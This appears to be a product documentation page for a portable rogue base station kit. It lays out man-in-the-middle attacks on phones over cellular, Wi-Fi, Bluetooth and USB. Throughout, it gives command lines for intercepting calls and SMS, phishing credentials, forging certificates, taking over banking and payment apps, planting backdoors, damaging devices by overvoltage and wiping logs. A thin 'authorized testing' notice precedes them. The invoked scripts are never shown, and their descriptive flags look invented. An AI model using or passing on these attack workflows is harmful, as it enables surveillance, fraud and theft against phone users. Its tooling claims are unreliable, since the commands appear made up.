Mobile MITM Attacks

Comprehensive Man-in-the-Middle Attack Techniques

Advanced mobile device interception and manipulation using RFS-Portable-BTS. Complete coverage of GSM/LTE MITM attacks, SMS/call interception, data traffic analysis, and mobile security testing methodologies.

Authorized Security Testing Only

Legal Notice & Responsible Disclosure

AUTHORIZED TESTING ONLY: All MITM attack techniques described on this page are intended for authorized security testing, penetration testing, and research purposes only. Only use these methods on devices you own or have explicit written permission to test. Unauthorized interception of communications is illegal and may violate local, state, and federal laws. Always follow responsible disclosure practices and ethical hacking guidelines.

Mobile MITM Attack Overview

Complete Mobile Interface Coverage

The RFS-Portable-BTS enables comprehensive Man-in-the-Middle attacks across all mobile device interfaces, providing complete control over cellular communications, data traffic, and device behavior for authorized security testing purposes.

MITM Attack Vectors

Critical

Cellular Network MITM

Complete interception and manipulation of GSM/LTE cellular communications.

  • Rogue base station deployment
  • IMSI catching and tracking
  • Call interception and recording
  • SMS manipulation and injection
  • Data traffic interception
High

Wi-Fi Network MITM

Advanced Wi-Fi interception and traffic manipulation techniques.

  • Evil twin access points
  • WPA2/WPA3 exploitation
  • DNS hijacking and manipulation
  • SSL/TLS certificate attacks
  • Application traffic interception
High

Bluetooth MITM

Bluetooth communication interception and device manipulation.

  • Bluetooth pairing attacks
  • Audio stream interception
  • HID device spoofing
  • BLE communication manipulation
  • Device impersonation attacks
Medium

USB Interface MITM

USB communication interception and device control.

  • USB traffic monitoring
  • Charging port attacks
  • Data transfer interception
  • Device enumeration attacks
  • USB gadget exploitation

Cellular Network MITM Attacks

Complete Cellular Control

The RFS-Portable-BTS enables complete Man-in-the-Middle control over cellular communications, allowing interception, manipulation, and analysis of all mobile device traffic through rogue base station deployment.

Rogue Base Station Deployment

Deploy a rogue base station to intercept and manipulate all cellular communications from target devices.

Rogue BTS MITM Framework

Base Station Configuration

Configure RFS-Portable-BTS as a rogue base station with enhanced signal strength.

# Configure rogue base station ./tools/rogue_bts_setup.py --mcc 001 --mnc 01 --lac 1 --cell-id 1 ./tools/signal_amplifier.py --power-level 30 --frequency 900.2 # Start YateBTS with MITM configuration yatebts --config=mitm_config.conf --log-level=debug
Device Attraction & Registration

Attract target devices to connect to the rogue base station.

# Force device registration ./tools/force_registration.py --target-imei 123456789012345 ./tools/imsi_catcher.py --catch-all --log-connections # Monitor device connections ./tools/connection_monitor.py --real-time --extract-imei
Traffic Interception & Analysis

Intercept and analyze all cellular traffic from connected devices.

# Intercept all traffic ./tools/traffic_interceptor.py --capture-all --output mitm_capture.pcap ./tools/sms_interceptor.py --log-messages --extract-content ./tools/call_interceptor.py --record-calls --extract-metadata
Traffic Manipulation & Injection

Manipulate intercepted traffic and inject malicious content.

# SMS manipulation ./tools/sms_manipulator.py --modify-content --inject-malware ./tools/silent_sms.py --send-type-0 --target-devices # Call manipulation ./tools/call_manipulator.py --redirect-calls --record-conversations ./tools/ussd_injector.py --send-codes --extract-responses

IMSI Catching & Device Tracking

Advanced IMSI catching techniques for device identification and tracking.

# Advanced IMSI catching and tracking # Deploy IMSI catcher ./tools/imsi_catcher.py --frequency 900.2 --bandwidth 5 --catch-all # Extract IMSI and device information ./tools/imsi_extractor.py --from-capture mitm_capture.pcap --output devices.json ./tools/device_tracker.py --track-movement --log-locations # Advanced device profiling ./tools/device_profiler.py --imei 123456789012345 --extract-all-info ./tools/behavior_analyzer.py --analyze-patterns --generate-profile

Call & SMS Interception

Critical

Call Interception

Complete call interception and manipulation capabilities.

  • Real-time call recording
  • Call redirection and manipulation
  • Voice data extraction
  • Call metadata analysis
  • Conference call injection
# Call interception setup ./tools/call_interceptor.py --record-all --extract-audio ./tools/call_manipulator.py --redirect-to-attacker --inject-noise
High

SMS Manipulation

Advanced SMS interception and manipulation techniques.

  • SMS content modification
  • Silent SMS injection
  • Binary SMS payloads
  • WAP Push manipulation
  • SMS-based malware delivery
# SMS manipulation ./tools/sms_manipulator.py --modify-content --inject-malware ./tools/silent_sms.py --type-0 --stealth-delivery

Wi-Fi Network MITM Attacks

Evil Twin Access Points

Deploy malicious Wi-Fi access points to intercept and manipulate mobile device traffic.

Wi-Fi MITM Framework

Evil Twin Deployment

Create and deploy malicious access points mimicking legitimate networks.

# Deploy evil twin access point ./tools/evil_twin.py --ssid "FreeWiFi" --channel 6 --power 20 ./tools/wifi_spoofer.py --clone-network "CoffeeShop_WiFi" --stealth-mode # Monitor for connections ./tools/wifi_monitor.py --detect-devices --extract-mac-addresses
Device Connection & Authentication

Force devices to connect to the malicious access point.

# Force device connections ./tools/wifi_deauth.py --target-mac AA:BB:CC:DD:EE:FF --force-reconnect ./tools/captive_portal.py --phishing-page --steal-credentials # Monitor authentication attempts ./tools/auth_monitor.py --capture-handshakes --extract-passwords
Traffic Interception & Analysis

Intercept and analyze all Wi-Fi traffic from connected devices.

# Intercept Wi-Fi traffic ./tools/wifi_interceptor.py --capture-all --output wifi_traffic.pcap ./tools/ssl_stripper.py --strip-https --inject-malware # Analyze application traffic ./tools/app_analyzer.py --identify-apps --extract-data

WPA2/WPA3 Exploitation

Advanced Wi-Fi security protocol exploitation techniques.

# WPA2/WPA3 exploitation techniques # WPA2 handshake capture ./tools/wpa2_cracker.py --capture-handshake --dictionary-attack ./tools/wps_exploit.py --reaver-attack --target-bssid AA:BB:CC:DD:EE:FF # WPA3 exploitation ./tools/wpa3_exploit.py --dragonblood-attack --target-device ./tools/sae_exploit.py --timing-attack --extract-password # Advanced Wi-Fi attacks ./tools/krack_attack.py --exploit-vulnerability --inject-packets ./tools/fragmentation_attack.py --fragment-reassembly --bypass-security

DNS Hijacking & SSL/TLS Attacks

High

DNS Hijacking

DNS manipulation for traffic redirection and data theft.

  • DNS spoofing and redirection
  • Phishing site deployment
  • Malware distribution
  • Credential harvesting
  • Traffic analysis and logging
# DNS hijacking setup ./tools/dns_hijacker.py --redirect-to-malicious --log-queries ./tools/phishing_server.py --clone-bank-site --steal-credentials
Critical

SSL/TLS Certificate Attacks

Advanced SSL/TLS certificate manipulation and MITM attacks.

  • Certificate authority spoofing
  • SSL stripping attacks
  • Certificate pinning bypass
  • Man-in-the-middle proxy
  • Encrypted traffic analysis
# SSL/TLS attacks ./tools/ssl_stripper.py --strip-https --inject-malware ./tools/cert_spoofer.py --fake-ca --bypass-pinning

SSL/TLS Decoding & Decryption

Complete SSL/TLS Decryption

Advanced SSL/TLS interception and decryption techniques for mobile devices using RFS-Portable-BTS. Complete coverage of certificate manipulation, session key extraction, and encrypted traffic decryption for authorized security testing.

Certificate Authority Spoofing

Advanced techniques for creating and deploying fake certificate authorities to intercept SSL/TLS traffic.

SSL/TLS MITM Framework

Root CA Generation

Generate a fake root certificate authority for SSL/TLS interception.

# Generate fake root CA ./tools/ca_generator.py --ca-name "TrustedRoot CA" --validity 3650 ./tools/cert_chain_builder.py --create-chain --intermediate-ca # Install CA on target device ./tools/ca_installer.py --device SM-G900F --install-root-ca --bypass-warnings
Certificate Generation & Spoofing

Generate fake certificates for target domains and services.

# Generate fake certificates for target domains ./tools/cert_generator.py --domain "banking.com" --ca-cert root-ca.crt ./tools/wildcard_cert.py --pattern "*.target-domain.com" --validity 365 # Real-time certificate generation ./tools/dynamic_cert_gen.py --on-demand --cache-certificates --auto-renewal
SSL/TLS Proxy Deployment

Deploy SSL/TLS proxy for traffic interception and decryption.

# Deploy SSL/TLS proxy ./tools/ssl_proxy.py --listen-port 8080 --target-port 443 --cert-chain ./tools/tls_interceptor.py --transparent-proxy --inject-certificates # Advanced proxy features ./tools/ssl_analyzer.py --real-time-decryption --extract-keys --log-traffic
Traffic Decryption & Analysis

Decrypt and analyze intercepted SSL/TLS traffic.

# Decrypt SSL/TLS traffic ./tools/ssl_decryptor.py --input encrypted.pcap --output decrypted.pcap ./tools/tls_analyzer.py --extract-http --extract-credentials --extract-cookies # Advanced traffic analysis ./tools/ssl_forensics.py --session-reconstruction --key-extraction --timing-analysis

Session Key Extraction

Advanced techniques for extracting SSL/TLS session keys for traffic decryption.

# SSL/TLS session key extraction techniques # Pre-master secret extraction ./tools/premaster_extractor.py --target-process "browser.exe" --extract-keys ./tools/memory_dumper.py --process-name "chrome" --extract-ssl-keys # Master secret reconstruction ./tools/master_secret_builder.py --client-random --server-random --premaster ./tools/session_key_calculator.py --cipher-suite TLS_RSA_WITH_AES_256_CBC_SHA # Key logging for Wireshark ./tools/ssl_keylogger.py --output ssl-keys.log --format wireshark ./tools/tls_key_extractor.py --real-time --log-to-file --monitor-processes # Advanced key extraction methods # Side-channel attacks ./tools/timing_attack.py --extract-rsa-keys --power-analysis --cache-attacks ./tools/fault_injection.py --glitch-attack --extract-private-keys # Hardware-based extraction ./tools/hardware_keylogger.py --usb-monitor --extract-keys --stealth-mode ./tools/firmware_key_extractor.py --bootloader-access --extract-keys

SSL/TLS Protocol Exploitation

Exploit SSL/TLS protocol vulnerabilities for traffic interception and decryption.

Critical

Protocol Vulnerabilities

Exploit known SSL/TLS protocol vulnerabilities for traffic decryption.

  • BEAST attack (CBC mode exploitation)
  • CRIME attack (compression ratio info-leak)
  • BREACH attack (HTTP compression)
  • POODLE attack (SSL 3.0 fallback)
  • FREAK attack (export cipher suites)
# Protocol vulnerability exploitation ./tools/beast_attack.py --cbc-exploit --extract-data ./tools/crime_attack.py --compression-exploit --steal-cookies ./tools/poodle_attack.py --ssl3-fallback --decrypt-traffic
High

Cipher Suite Exploitation

Exploit weak cipher suites and encryption algorithms.

  • RC4 cipher exploitation
  • DES/3DES weak encryption
  • MD5/SHA1 hash collision
  • Export-grade cryptography
  • Weak key generation
# Cipher suite exploitation ./tools/rc4_exploit.py --statistical-attack --decrypt-traffic ./tools/des_cracker.py --brute-force --weak-keys --known-plaintext

Mobile-Specific SSL/TLS Attacks

Specialized SSL/TLS attacks targeting mobile devices and applications.

Mobile SSL/TLS Exploitation

Certificate Pinning Bypass

Bypass certificate pinning in mobile applications.

# Certificate pinning bypass techniques ./tools/pinning_bypass.py --frida-hook --bypass-ssl-pinning ./tools/xposed_module.py --disable-pinning --hook-ssl-verification # Advanced bypass methods ./tools/pinning_analyzer.py --identify-pinning --extract-certificates ./tools/dynamic_bypass.py --runtime-patching --memory-modification
Mobile App SSL/TLS Interception

Intercept SSL/TLS traffic from mobile applications.

# Mobile app SSL interception ./tools/mobile_ssl_proxy.py --app-specific --bypass-pinning ./tools/app_ssl_interceptor.py --target-app "com.bank.app" --extract-data # Advanced mobile interception ./tools/mobile_mitm.py --transparent-proxy --app-isolation --stealth-mode
Android/iOS SSL/TLS Exploitation

Platform-specific SSL/TLS exploitation techniques.

# Android SSL/TLS exploitation ./tools/android_ssl_exploit.py --root-access --modify-trust-store ./tools/android_cert_inject.py --system-level --persistent-install # iOS SSL/TLS exploitation ./tools/ios_ssl_exploit.py --jailbreak-required --keychain-access ./tools/ios_cert_install.py --profile-installation --trust-modification

SSL/TLS Traffic Analysis

Advanced analysis techniques for decrypted SSL/TLS traffic.

# SSL/TLS traffic analysis and forensics # Traffic reconstruction ./tools/ssl_reconstructor.py --reassemble-streams --extract-files ./tools/tls_parser.py --parse-handshake --extract-certificates --analyze-ciphers # Application data extraction ./tools/http_extractor.py --from-ssl --extract-requests --extract-responses ./tools/api_analyzer.py --identify-endpoints --extract-parameters --document-apis # Credential extraction ./tools/credential_extractor.py --from-ssl --extract-passwords --extract-tokens ./tools/session_analyzer.py --extract-cookies --extract-sessions --track-users # Advanced SSL/TLS forensics # Timing analysis ./tools/ssl_timing_analyzer.py --measure-latency --detect-proxies --identify-attacks ./tools/tls_fingerprinting.py --identify-clients --detect-modifications --version-detection # Statistical analysis ./tools/ssl_statistics.py --traffic-patterns --anomaly-detection --behavior-analysis ./tools/tls_correlation.py --cross-session-analysis --user-tracking --device-fingerprinting

SSL/TLS Decryption Tools

Comprehensive toolkit for SSL/TLS interception and decryption.

Tool Category Tool Name Function Target
Certificate Management CA Generator Generate fake certificate authorities All platforms
Certificate Management Cert Spoofer Generate fake certificates for domains All platforms
Key Extraction SSL Keylogger Extract SSL/TLS session keys Windows/Linux
Key Extraction Memory Dumper Extract keys from process memory All platforms
Traffic Interception SSL Proxy Transparent SSL/TLS proxy All platforms
Traffic Interception TLS Interceptor Real-time TLS traffic interception Mobile devices
Protocol Exploitation BEAST Attack CBC mode vulnerability exploitation Legacy systems
Protocol Exploitation CRIME Attack Compression ratio information leak Compressed traffic
Mobile Exploitation Pinning Bypass Bypass certificate pinning Android/iOS
Mobile Exploitation Mobile MITM Mobile-specific SSL/TLS interception Mobile apps
Traffic Analysis SSL Reconstructor Reconstruct SSL/TLS streams All platforms
Traffic Analysis Credential Extractor Extract credentials from SSL traffic All platforms

SSL/TLS Attack Scenarios

Real-world attack scenarios for SSL/TLS interception and decryption.

Critical

Banking Application Attack

Complete SSL/TLS interception of banking applications.

  • Certificate pinning bypass
  • Session key extraction
  • Credential harvesting
  • Transaction manipulation
  • Account takeover
# Banking app SSL interception ./tools/banking_mitm.py --target-app "com.bank.app" --bypass-pinning ./tools/financial_extractor.py --extract-transactions --steal-credentials
High

E-commerce Application Attack

SSL/TLS interception of e-commerce applications.

  • Payment data extraction
  • Credit card information theft
  • Order manipulation
  • Personal data harvesting
  • Account compromise
# E-commerce SSL interception ./tools/ecommerce_mitm.py --target-app "com.shop.app" --extract-payments ./tools/payment_extractor.py --steal-credit-cards --manipulate-orders
High

Email Application Attack

SSL/TLS interception of email applications and services.

  • Email content interception
  • Attachment extraction
  • Contact list harvesting
  • Email account takeover
  • Corporate espionage
# Email SSL interception ./tools/email_mitm.py --target-app "com.email.app" --intercept-emails ./tools/email_extractor.py --extract-attachments --harvest-contacts
Medium

Messaging Application Attack

SSL/TLS interception of messaging applications.

  • Message content interception
  • Media file extraction
  • Contact list harvesting
  • Group chat monitoring
  • Location data extraction
# Messaging SSL interception ./tools/messaging_mitm.py --target-app "com.messenger.app" --intercept-messages ./tools/media_extractor.py --extract-photos --extract-videos --extract-audio

Bluetooth MITM Attacks

Bluetooth Pairing Attacks

Advanced Bluetooth communication interception and device manipulation.

Bluetooth MITM Framework

Bluetooth Reconnaissance

Discover and analyze Bluetooth devices in the target area.

# Bluetooth device discovery ./tools/bt_scanner.py --scan-all --extract-info ./tools/bt_profiler.py --analyze-devices --identify-vulnerabilities # Monitor Bluetooth traffic ./tools/bt_monitor.py --capture-packets --analyze-protocols
Pairing Attack Execution

Exploit Bluetooth pairing vulnerabilities for device compromise.

# Bluetooth pairing attacks ./tools/bt_pairing_attack.py --blueborne-exploit --target-device ./tools/bt_spoofing.py --impersonate-device --steal-connection # Advanced Bluetooth exploits ./tools/bt_stack_exploit.py --buffer-overflow --code-execution
Communication Interception

Intercept and manipulate Bluetooth communications.

# Bluetooth communication interception ./tools/bt_interceptor.py --capture-audio --record-calls ./tools/bt_manipulator.py --modify-data --inject-commands # HID device attacks ./tools/bt_hid_attack.py --keyboard-injection --mouse-control

Audio Stream Interception

Advanced Bluetooth audio interception and manipulation techniques.

# Bluetooth audio interception # Audio stream capture ./tools/bt_audio_capture.py --record-calls --extract-audio ./tools/bt_music_intercept.py --capture-streams --analyze-content # Audio manipulation ./tools/bt_audio_manipulator.py --inject-audio --modify-streams ./tools/bt_voice_changer.py --real-time-modification --stealth-mode # Advanced audio attacks ./tools/bt_audio_exploit.py --buffer-overflow --code-execution ./tools/bt_audio_backdoor.py --install-backdoor --persistent-access

HID Device Attacks

High

Keyboard Injection

Bluetooth keyboard emulation for command injection.

  • Keystroke injection attacks
  • Password harvesting
  • Command execution
  • Backdoor installation
  • Data exfiltration
# Keyboard injection ./tools/bt_keyboard_inject.py --inject-commands --steal-passwords ./tools/bt_backdoor.py --install-persistent --remote-access
Medium

Mouse Control

Bluetooth mouse emulation for device control.

  • Mouse movement control
  • Click injection
  • Screen manipulation
  • UI interaction
  • Gesture simulation
# Mouse control ./tools/bt_mouse_control.py --control-cursor --inject-clicks ./tools/bt_ui_manipulator.py --interact-ui --extract-data

USB Interface MITM Attacks

USB Traffic Interception

Advanced USB communication interception and device manipulation techniques.

USB MITM Framework

USB Device Monitoring

Monitor and analyze USB device connections and communications.

# USB device monitoring ./tools/usb_monitor.py --detect-devices --extract-descriptors ./tools/usb_analyzer.py --analyze-traffic --identify-protocols # USB traffic capture ./tools/usb_capture.py --capture-packets --output usb_traffic.pcap
USB Gadget Exploitation

Exploit USB gadget vulnerabilities for device compromise.

# USB gadget attacks ./tools/usb_gadget_attack.py --exploit-vulnerability --gain-access ./tools/usb_dfu_attack.py --firmware-injection --backdoor-install # USB charging attacks ./tools/usb_charging_attack.py --power-manipulation --data-injection
Data Transfer Manipulation

Intercept and manipulate USB data transfers.

# USB data manipulation ./tools/usb_data_interceptor.py --intercept-transfers --modify-content ./tools/usb_file_injector.py --inject-malware --steal-data # USB enumeration attacks ./tools/usb_enumeration_attack.py --spoof-device --gain-privileges

Charging Port Attacks

Advanced charging port exploitation and power-based attacks.

# Charging port attacks # Power manipulation ./tools/charging_manipulator.py --overvoltage --damage-device ./tools/power_analysis.py --monitor-consumption --extract-data # Data injection via charging ./tools/charging_data_inject.py --inject-commands --steal-info ./tools/usb_pd_attack.py --power-delivery-exploit --firmware-access # Advanced charging attacks ./tools/charging_backdoor.py --install-via-charging --persistent-access ./tools/power_side_channel.py --extract-keys --timing-analysis

Advanced MITM Techniques

Multi-Interface Coordination

Coordinate MITM attacks across multiple interfaces for comprehensive device compromise.

Multi-Interface MITM Framework

Interface Reconnaissance

Comprehensive analysis of all available device interfaces.

# Multi-interface reconnaissance ./tools/interface_scanner.py --scan-all --analyze-capabilities ./tools/device_profiler.py --comprehensive-analysis --vulnerability-assessment # Interface prioritization ./tools/attack_planner.py --prioritize-interfaces --create-attack-plan
Coordinated Attack Execution

Execute synchronized attacks across multiple interfaces.

# Coordinated multi-interface attacks ./tools/multi_interface_attack.py --cellular --wifi --bluetooth --usb ./tools/attack_coordinator.py --synchronize-attacks --maximize-impact # Cross-interface data correlation ./tools/data_correlator.py --correlate-traffic --build-complete-profile
Persistent Access Establishment

Establish persistent access through multiple attack vectors.

# Persistent access establishment ./tools/persistent_access.py --multiple-vectors --redundant-backdoors ./tools/access_manager.py --monitor-access --maintain-control # Advanced persistence techniques ./tools/firmware_persistence.py --install-firmware-backdoor --survive-reset

Stealth & Evasion Techniques

Advanced techniques for maintaining stealth during MITM attacks.

Stealth

Traffic Obfuscation

Obfuscate attack traffic to avoid detection.

  • Traffic encryption and obfuscation
  • Protocol tunneling
  • Traffic shaping and timing
  • Decoy traffic generation
  • Signature evasion
# Traffic obfuscation ./tools/traffic_obfuscator.py --encrypt-traffic --evade-detection ./tools/decoy_generator.py --generate-decoy --confuse-analysis
Stealth

Detection Evasion

Advanced techniques to evade security detection systems.

  • Behavioral mimicry
  • Timing randomization
  • Signature modification
  • Anti-forensics techniques
  • Log manipulation
# Detection evasion ./tools/evasion_suite.py --behavioral-mimicry --timing-randomization ./tools/anti_forensics.py --clear-logs --modify-signatures

Real-time Analysis & Monitoring

Advanced real-time analysis and monitoring capabilities for MITM attacks.

# Real-time analysis and monitoring # Live traffic analysis ./tools/live_analyzer.py --real-time-analysis --pattern-detection ./tools/behavior_monitor.py --monitor-behavior --anomaly-detection # Advanced correlation ./tools/correlation_engine.py --cross-interface-correlation --intelligence-building ./tools/threat_intelligence.py --build-threat-profile --predict-behavior # Automated response ./tools/automated_response.py --adaptive-attacks --dynamic-strategy ./tools/ai_attacker.py --machine-learning --evolve-tactics